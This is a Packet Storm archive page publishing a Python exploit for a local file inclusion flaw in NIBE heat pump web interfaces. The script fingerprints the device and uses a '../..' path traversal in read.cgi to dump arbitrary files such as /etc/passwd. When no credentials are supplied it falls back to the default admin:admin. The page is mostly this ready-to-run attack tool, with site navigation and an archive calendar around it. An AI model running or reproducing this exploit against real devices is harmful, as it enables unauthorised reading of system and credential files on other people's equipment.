what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

NIBE Heat Pump Local File Inclusion

NIBE Heat Pump Local File Inclusion
Posted Apr 28, 2010
Authored by Jelmer de Hen | Site h.ackack.net

NIBE Heat Pump suffers from a local file inclusion vulnerability.

tags | exploit, local, file inclusion
SHA-256 | 5d6ba859f170a18e649cc2161fb852dee7d942ed4650f159f9fdb80c12ad5f67

NIBE Heat Pump Local File Inclusion

Change Mirror Download
#!/usr/bin/python
import socket,sys,os,base64
# NIBE heat pump LFI exploit
#
# Written by Jelmer de Hen
# Published at http://h.ackack.net/?p=302
#
# Special thanks to Fredrik Nordberg Almroth and Mathias Karlsson for obtaining this information http://h.ackack.net/?p=274 which made me test the heat pumps and find the exploits.


def finger_heatpump(ip, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send("GET / HTTP/1.1\n\n")
header = s.recv(1024)
s.close()
if header.find("NIBE") !=-1:
return 1
else:
return 0

def exploit_pump(ip, port, filename, basic_auth):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send("GET /cgi-bin/read.cgi?page=../.."+filename+" HTTP/1.1\nAuthorization: Basic "+basic_auth+"\n\n")
file = ""
while s.recv(1024):
file = file + s.recv(1024)
s.close()
return file

def instructions():
print sys.argv[0]+" [ip] [port] [filename] [username (default=admin)] [password (default=admin)]"
print "Written by Jelmer de Hen"
print "published at http://h.ackack.net/?p=302"
print "Examples:"
print sys.argv[0]+" 127.0.0.1 80 /etc/passwd"
print sys.argv[0]+" 127.0.0.1 80 /etc/passwd admin p455w0rd"
sys.exit(1)

def main():
if len(sys.argv)==4 or len(sys.argv)==6:
try:
ip = sys.argv[1]
port = int(sys.argv[2])
filename = sys.argv[3]
except:
instructions()
try:
basic_auth = base64.b64encode(sys.argv[4]+":"+sys.argv[5])
except:
basic_auth = base64.b64encode("admin:admin")

if finger_heatpump(ip, port) == 1:
print "[+] Fingerprint scan success"
file_contents = exploit_pump(ip, port, filename, basic_auth)
if len(file_contents)==0:
print "[-] The exploit failed, you can retry the exploit or the username and/or password are not right"
else:
print "[+] Contents of "+filename+":"
print file_contents
else:
print "[-] Fingerprint scan failed"

else:
instructions()

if __name__ == "__main__":
sys.exit(main())
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close